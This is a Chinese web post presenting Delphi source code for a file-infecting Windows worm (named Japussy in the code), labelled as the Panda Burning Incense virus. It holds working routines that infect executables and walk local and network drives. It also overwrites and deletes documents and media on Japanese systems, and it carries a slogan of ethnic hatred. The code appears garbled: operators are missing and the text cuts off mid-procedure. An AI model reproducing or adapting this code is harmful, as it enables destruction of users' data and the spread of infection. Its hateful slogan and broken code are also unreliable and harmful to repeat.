熊猫烧香核心源代码(Delphi模仿版本号)

熊猫烧香核心源代码(Delphi模仿版本号)：

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program Japussy;
uses
  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
  HeaderSize = 82432;                  ///病毒体大小
  IconOffset = $12EB8;                ////PE文档主图标的偏移
 
  ///// SP1上方的编译程序获得大小，其他版本的Delphi可能不同
  ///搜索2800000020的16进制字符串数组可以找到主图标的偏移
 
{
  HeaderSize = 38912;                  ///Upx缩小了病毒的大小
  IconOffset = $92BC;                  ///Upx缩小了PE文档主图标的偏移
 
  //Upx 1.24W 使用方法: upx -9 --8086 Japussy.exe
}
  IconSize  = $2E8;                  ///PE文档主图标大小-744字节数
  IconTail  = IconOffset IconSize;  ////PE文档主图标的尾端
  ID        = $44444444;              ///感七标志
 
  //废物代码，以便载入
  Catchword = 'If a race need to be killed out, it must be Yamato. '
              'If a country need to be destroyed, it must be Japan! '
              '*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
  stdcall; external Kernel32.dll'; //函数声明
var
  TmpFile: string;
  Si:      STARTUPINFO;
  Pi:      PROCESS_INFORMATION;
  IsJap:  Boolean = False; ///日本计算机操作系统标识
{ 确定Win9x是否确定 }
function IsWin9x: Boolean;
var
  Ver: TOSVersionInfo;
begin
  Result := False;
  Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  if not GetVersionEx(Ver) then
    Exit;
  if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
    Result := True;
end;
{ 在流中间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
  dStartPos: Integer; Count: Integer);
var
  sCurPos, dCurPos: Integer;
begin
  sCurPos := Src.Position;
  dCurPos := Dst.Position;
  Src.Seek(sStartPos, 0);
  Dst.Seek(dStartPos, 0);
  Dst.CopyFrom(Src, Count);
  Src.Seek(sCurPos, 0);
  Dst.Seek(dCurPos, 0);
end;
{ 将寄主文件从被感染的PE文件中分离出来，以便应用 }
procedure ExtractFile(FileName: string);
var
  sStream, dStream: TFileStream;
begin
  try
    sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
    try
      dStream := TFileStream.Create(FileName, fmCreate);
      try
        sStream.Seek(HeaderSize, 0); ///绕过头部病毒部分
        dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
      finally
        dStream.Free;
      end;
    finally
      sStream.Free;
    end;
  except
  end;
end;
{ 添加STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
  Si.cb := SizeOf(Si);
  Si.lpReserved := nil;
  Si.lpDesktop := nil;
  Si.lpTitle := nil;
  Si.dwFlags := STARTF_USESHOWWINDOW;
  Si.wShowWindow := State;
  Si.ccbreserved2 := 0;
  Si.lpreserved2 := nil;
end;
{ 发送病毒电子邮件 }
procedure SendMail;
begin
  ///哪个傻瓜想这样做？
end;
{ 感觉PE文档 }
procedure InfectOneFile(FileName: string);
var
  HdrStream, SrcStream: TFileStream;
  IcoStream, DstStream: TMemoryStream;
  iID: LongInt;
  aIcon: TIcon;
  Infected, IsPE: Boolean;
  i: Integer;
  Buf: array[0..1] of Char;
begin
  try ///如果出现错误，文档将被应用，文档将被撤回
    if CompareText(FileName, 'JAPUSSY.EXE') = 0 then ///我一般不喜欢
      Exit;
    Infected := False;
    IsPE    := False;
    SrcStream := TFileStream.Create(FileName, fmOpenRead);
    try
      for i := 0 to $108 do ///检查PE文件头
      begin
        SrcStream.Seek(i, soFromBeginning);
        SrcStream.Read(Buf, 2);
        if (Buf[0] = #80) and (Buf[1] = #69) then ///PE标识
        begin
          IsPE := True; //是PE文档
          Break;
        end;
      end;
// 本文转载 C Builder 科学研究 - http://www.ccrun.com/article.asp?i=1009&d=72ladj
      SrcStream.Seek(-4, soFromEnd); ///检查感七标志
      SrcStream.Read(iID, 4);
      if (iID = ID) or (SrcStream.Size < 10240) then //过小文档不感七
        Infected := True;
    finally
      SrcStream.Free;
    end;
    if Infected or (not IsPE) then ///如果感七过去了或者不是PE文档，则撤回
      Exit;
    IcoStream := TMemoryStream.Create;
    DstStream := TMemoryStream.Create;
    try
      aIcon := TIcon.Create;
      try
        //获得传染文档主标志(744字节数)，存进流
        aIcon.ReleaseHandle;
        aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
        aIcon.SaveToStream(IcoStream);
      finally
        aIcon.Free;
      end;
      SrcStream := TFileStream.Create(FileName, fmOpenRead);
      //库函数
      HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
      try
        ////之前载入病毒体主标志的数据信息
        CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
        ///载入现阶段程序流程的主标志
        CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
        ///将病毒体主标记到病毒体尾部之间的数据
        CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
        ///输入寄主程序流程
        CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
        ////输入已感七的标记
        DstStream.Seek(0, 2);
        iID := $44444444;
        DstStream.Write(iID, 4);
      finally
        HdrStream.Free;
      end;
    finally
      SrcStream.Free;
      IcoStream.Free;
      DstStream.SaveToFile(FileName); ///更换寄主文档
      DstStream.Free;
    end;
  except;
  end;
end;

{ 将目标文件写入废物码后删除 }
procedure SmashFile(FileName: string);
var
  FileHandle: Integer;
  i, Size, Mass, Max, Len: Integer;
begin
  try
    SetFileAttributes(PChar(FileName), 0); //去掉只读属性
    FileHandle := FileOpen(FileName, fmOpenWrite); ///打开文档
    try
      Size := GetFileSize(FileHandle, nil); //图片大小
      i := 0;
      Randomize;
      Max := Random(15); ////任何频率加载废物码
      if Max < 5 then
        Max := 5;
      Mass := Size div Max; ///每个间距块的尺寸
      Len := Length(Catchword);
      while i < Max do
      begin
        FileSeek(FileHandle, i * Mass, 0); //精确定位
        ///加载废物码，完全破坏文件
        FileWrite(FileHandle, Catchword, Len);
        Inc(i);
      end;
    finally
      FileClose(FileHandle); ///关闭文件
    end;
    DeleteFile(PChar(FileName)); //删掉之
  except
  end;
end;
{ 可写控制器目录 }
function GetDrives: string;
var
  DiskType: Word;
  D: Char;
  Str: string;
  i: Integer;
begin
  for i := 0 to 25 do //赋值26个字母
  begin
    D := Chr(i 65);
    Str := D ':';
    DiskType := GetDriveType(PChar(Str));
    ///获取系统盘和互联网盘
    if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
      Result := Result D;
  end;
end;
{ 赋值文件目录，感染催毁文件 }
procedure LoopFiles(Path, Mask: string);
var
  i, Count: Integer;
  Fn, Ext: string;
  SubDir: TStrings;
  SearchRec: TSearchRec;
  Msg: TMsg;
  function IsValidDir(SearchRec: TSearchRec): Integer;
  begin
    if (SearchRec.Attr <> 16) and  (SearchRec.Name <> '.') and
      (SearchRec.Name <> '..') then
      Result := 0 ///不是文件目录
    else if (SearchRec.Attr = 16) and  (SearchRec.Name <> '.') and
      (SearchRec.Name <> '..') then
        Result := 1 ///不是网站根目录
    else Result := 2; //是网站根目录
  end;
begin
  if (FindFirst(Path Mask, faAnyFile, SearchRec) = 0) then
  begin
    repeat
      PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整线程池，避免引起怀疑
      if IsValidDir(SearchRec) = 0 then
      begin
        Fn := Path SearchRec.Name;
        Ext := UpperCase(ExtractFileExt(Fn));
        if (Ext = '.EXE') or (Ext = '.SCR') then
        begin
          InfectOneFile(Fn); //感七可执行程序       
        end
        else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
        begin
          //感奇HTML和ASP文档，将Base64号后的病毒感染载入
          ////感奇访问本页的每个用户
          ///哪个老铁想做？
        end
        else if Ext = '.WAB' then ///Outlook通讯簿文档
        begin
          ///获取Outlook邮箱地址
        end
        else if Ext = '.ADC' then ///Foxmail详细地址自动执行文档
        begin
          //获得Foxmail邮箱地址
        end
        else if Ext = 'IND' then ///通讯簿文档
        begin
          //获得Foxmail邮箱地址
        end
        else
        begin
          if IsJap then ///是日本操作系统软件
          begin
            if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
              (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
              (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
              (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
              (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
              (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
                SmashFile(Fn); ///催毁文档
          end;
        end;
      end;
      ///感染或删除文件后，睡眠质量为200ms，防止CPU占用过多引起怀疑
      Sleep(200);
    until (FindNext(SearchRec) <> 0);
  end;
  FindClose(SearchRec);
  SubDir := TStringList.Create;
  if (FindFirst(Path '*.*', faDirectory, SearchRec) = 0) then
  begin
    repeat
      if IsValidDir(SearchRec) = 1 then
        SubDir.Add(SearchRec.Name);
    until (FindNext(SearchRec) <> 0);
    end;
  FindClose(SearchRec);
  Count := SubDir.Count - 1;
  for i := 0 to Count do
    LoopFiles(Path SubDir.Strings[i] '', Mask);
  FreeAndNil(SubDir);
end;
{ 赋值硬盘上所有文档 }
procedure InfectFiles;